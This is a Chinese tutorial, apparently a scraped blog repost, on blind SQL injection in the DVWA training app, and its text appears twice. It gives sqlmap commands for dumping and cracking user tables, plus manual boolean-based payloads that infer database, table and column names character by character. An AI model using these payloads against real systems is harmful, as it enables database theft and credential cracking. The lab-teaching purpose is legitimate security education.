DVWA下的SQL Injection(Blind)
来源:互联网 发布:mac cr2转jpg 编辑:程序博客网 时间:2024/05/23 13:50
DVWA下的盲注
盲注与一般sql注入的区别是,一般的注入可以从页面上看到执行结果,而盲注无法获得明显结果,一般只是如下两种:
一 Low级别
可以使用两种方法:
1 利用sqlmap
首先,kali自带的就有sqlmap,启动Burpsuite,在SQL injection(Blind)中输入如下,然后查看Burpsuite中抓到的URL和Cookie
(1)启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ ,可以查看数据库类型。
可看出注入点可能是id,数据库是mysql。
【注】sqlmap命令:http://blog.csdn.net/keepxp/article/details/52052070
(1)--current-db:获得当前数据库名
(2)--current-db --tables –D dvwa:使用dvwa库得到表名
-D表示指定数据库名称
(3)-T guestbook --columns:得到guestbook的表结构
-T表示指定列出字段的的表;--columns表示指定列出字段
(4)-T users --dump:得到users表的内容,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码. –-dump表示将结果导出
(5)--passwords:使用sqlmap自带的字典可以破解出数据库用户的密码
(2)查看数据库名
此获取的数据库名为dvwa。
(3)使用dvwa得到表名
(4)得到users的表结构,并且把用户名和密码都显示了
选择是
2 利用手动注入
(1)判断是否存在注入,是字符型还是数字型?
输入1:
输入1’#
可以判断出是字符型注入。
(2)猜当前的数据库名
第一步:猜数据库名的长度
输入1’and length(database()) = 1# 显示不存在在数据库中
1’and length(database()) = 2#
1’and length(database()) = 3#
1’and length(database()) = 4#
数据库名长度为4。
第二步:利用二进制法猜数据库名
输入1’and ascii(substr(database(),1,1))>97#,如果显示存在的话,说明数据库名的第一个字符的ascii码值大于97,(a的ascii码);
输入1’and ascii(substr(database(),1,1))<122#,如果显示存在的话,说明数据库名的第一个字符的ascii码值小于122,(z的ascii码),然后每次取中间值,最后就可以判断出第一个字母。
【注】substr(字段,a,b):a代表第几个位置,b代表长度,可以不使用b。a为0和1是一样的,都是从第一位开始
(3)猜数据库中的表名
第一步:先猜测数据库中有几个表
1’and (select count(table_name)from information_schema.tables where table_schema=database())=1#
1’and (select count(table_name) from information_schema.tables where table_schema=database())=2#
数据库中2个表。
第二步:猜表名长度
1’and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 正确
[注]limit m,n:m表示从第m+1行开始(因为limit起始是从0开始的),n表示输出n行。
第一个表名的长度是9。
第二个表名长度:
1’and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1# 错误
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # 正确
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),1))=b# a表示第a+1表,b表示长度
第三步:猜表名
第一个表名:
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#
依次比较查出第一个字符
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),a,1))>97# a:第几个位置就是几
第二个表名:
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97#
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122#
依次比较查出第一个字符
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),a,1))>97# a:第几个位置就是几
(4)猜表中字段数和字段名
第一步:猜users的字段数
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=a # 如果a正确的话,就表示users表中有a个字段。
可以猜出a有8个字段。
第二步:猜每个字段的字段长度和字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’limit a,1),1))=b # 猜第a+1字段的字段长度为b
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’limit a,1),c,1))>97 #猜users 中第a+1字段的第c个位置的字符是多少
二 Medium
此处是post请求,get请求时用:
--fresh-queries:忽略在会话文件中存储的以前的查询结果
post时用:--data通过POST发送的数据字符串
三High
方法同Low的手工注入方法。
四Impossible
盲注与一般sql注入的区别是,一般的注入可以从页面上看到执行结果,而盲注无法获得明显结果,一般只是如下两种:
一 Low级别
可以使用两种方法:
1 利用sqlmap
首先,kali自带的就有sqlmap,启动Burpsuite,在SQL injection(Blind)中输入如下,然后查看Burpsuite中抓到的URL和Cookie
(1)启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ ,可以查看数据库类型。
可看出注入点可能是id,数据库是mysql。
【注】sqlmap命令:http://blog.csdn.net/keepxp/article/details/52052070
(1)--current-db:获得当前数据库名
(2)--current-db --tables –D dvwa:使用dvwa库得到表名
-D表示指定数据库名称
(3)-T guestbook --columns:得到guestbook的表结构
-T表示指定列出字段的的表;--columns表示指定列出字段
(4)-T users --dump:得到users表的内容,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码. –-dump表示将结果导出
(5)--passwords:使用sqlmap自带的字典可以破解出数据库用户的密码
(2)查看数据库名
此获取的数据库名为dvwa。
(3)使用dvwa得到表名
(4)得到users的表结构,并且把用户名和密码都显示了
选择是
2 利用手动注入
(1)判断是否存在注入,是字符型还是数字型?
输入1:
输入1’#
可以判断出是字符型注入。
(2)猜当前的数据库名
第一步:猜数据库名的长度
输入1’and length(database()) = 1# 显示不存在在数据库中
1’and length(database()) = 2#
1’and length(database()) = 3#
1’and length(database()) = 4#
数据库名长度为4。
第二步:利用二进制法猜数据库名
输入1’and ascii(substr(database(),1,1))>97#,如果显示存在的话,说明数据库名的第一个字符的ascii码值大于97,(a的ascii码);
输入1’and ascii(substr(database(),1,1))<122#,如果显示存在的话,说明数据库名的第一个字符的ascii码值小于122,(z的ascii码),然后每次取中间值,最后就可以判断出第一个字母。
【注】substr(字段,a,b):a代表第几个位置,b代表长度,可以不使用b。a为0和1是一样的,都是从第一位开始
(3)猜数据库中的表名
第一步:先猜测数据库中有几个表
1’and (select count(table_name)from information_schema.tables where table_schema=database())=1#
1’and (select count(table_name) from information_schema.tables where table_schema=database())=2#
数据库中2个表。
第二步:猜表名长度
1’and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 正确
[注]limit m,n:m表示从第m+1行开始(因为limit起始是从0开始的),n表示输出n行。
第一个表名的长度是9。
第二个表名长度:
1’and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1# 错误
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # 正确
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),1))=b# a表示第a+1表,b表示长度
第三步:猜表名
第一个表名:
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#
依次比较查出第一个字符
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),a,1))>97# a:第几个位置就是几
第二个表名:
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97#
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122#
依次比较查出第一个字符
1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),a,1))>97# a:第几个位置就是几
(4)猜表中字段数和字段名
第一步:猜users的字段数
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=a # 如果a正确的话,就表示users表中有a个字段。
可以猜出a有8个字段。
第二步:猜每个字段的字段长度和字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’limit a,1),1))=b # 猜第a+1字段的字段长度为b
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’limit a,1),c,1))>97 #猜users 中第a+1字段的第c个位置的字符是多少
二 Medium
此处是post请求,get请求时用:
--fresh-queries:忽略在会话文件中存储的以前的查询结果
post时用:--data通过POST发送的数据字符串
三High
方法同Low的手工注入方法。
四Impossible
阅读全文
0 0
- DVWA下的SQL Injection(Blind)
- dvwa-sql injection(blind)
- DVWA - SQL Injection (Blind) (low)
- Blind SQL Injection on DVWA(Medium Level)
- DVWA-1.9全级别教程之SQL Injection(Blind)
- Blind SQL Injection
- Blind SQL injection sample
- Blind SQL Injection
- DVWA SQL Injection
- DVWA-WooYun SQL Injection
- dvwa-SQL Injection
- webgoat 中 Blind String SQL Injection 的 Python 编程解决
- DVWA下的SQL注入
- EmpireCMS Version 4.6 Blind SQL Injection Exploit
- phpcms V9 BLind SQL Injection Vulnerability
- PHPCMS V9 BLind SQL Injection Vulnerability
- False SQL Injection and Advanced Blind SQL Injection
- False SQL Injection and Advanced Blind SQL Injection
- Spring Boot 整合 Redis 实现缓存操作
- 数组的冒泡排序
- 详解EVENTLOGRECORD结构体遇到的问题
- TCP非堵塞IO的connect连接处理模型
- 13. Servlet 请求/响应过滤器
- DVWA下的SQL Injection(Blind)
- 云服务器不能启动数据库代理服务,启动后报错
- php-fpm调优以及开启nginx和php-fpm的status状态监控
- java 利用输入输出流处理txt文件,并生成新txt文件
- Mac下的安卓模拟器bluestacks安装apk
- C
- mysql5.7主从复制延时过大,stop slave夯住
- /proc/sys/kernel/printk 打印log设置
- 【算法】100人没人100元赠送,最后分布